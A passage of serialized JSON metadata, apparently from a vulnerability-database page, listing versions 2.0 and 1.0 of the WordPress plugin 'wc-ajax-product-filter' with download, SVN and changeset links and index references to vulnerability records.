ersion":41},{"version":678,"download_url":679,"svn_tag_url":680,"released_at":39,"has_diff":58,"diff_files_changed":681,"diff_lines":39,"trac_diff_url":682,"vulnerabilities":683,"is_current":58},"2.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwc-ajax-product-filter.2.0.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwc-ajax-product-filter\u002Ftags\u002F2.0\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwc-ajax-product-filter%2Ftags%2F1.0&new_path=%2Fwc-ajax-product-filter%2Ftags%2F2.0",[684],{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"version":686,"download_url":687,"svn_tag_url":688,"released_at":39,"has_diff":58,"diff_files_changed":689,"diff_lines":39,"trac_diff_url":39,"vulnerabilities":690,"is_current":58},"1.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwc-ajax-product-filter.1.0.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwc-ajax-product-filter\u002Ftags\u002F1.0\u002F",[],[691],{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41}]